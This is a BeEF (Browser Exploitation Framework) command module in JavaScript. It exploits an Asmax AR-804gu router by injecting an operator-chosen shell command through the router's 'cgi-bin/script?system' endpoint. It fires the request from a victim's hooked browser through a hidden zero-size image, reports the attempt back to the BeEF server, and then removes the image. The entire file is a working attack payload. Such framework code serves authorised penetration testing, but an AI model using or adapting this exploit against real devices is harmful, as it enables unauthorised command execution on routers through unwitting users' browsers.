//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	var gateway = '<%= @base %>'; 
	var path    = 'cgi-bin/script?system%20';
	var cmd     = '<%= @cmd %>';

	var img = new Image();
	img.setAttribute("style","visibility:hidden");
	img.setAttribute("width","0");
	img.setAttribute("height","0");
	img.id = 'asmax_ar804gu_<%= @command_id %>';
	img.src = gateway+path+cmd;
	document.body.appendChild(img);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	cleanup = function() {
		document.body.removeChild(img);
	}
	setTimeout("cleanup()", 15000);

});

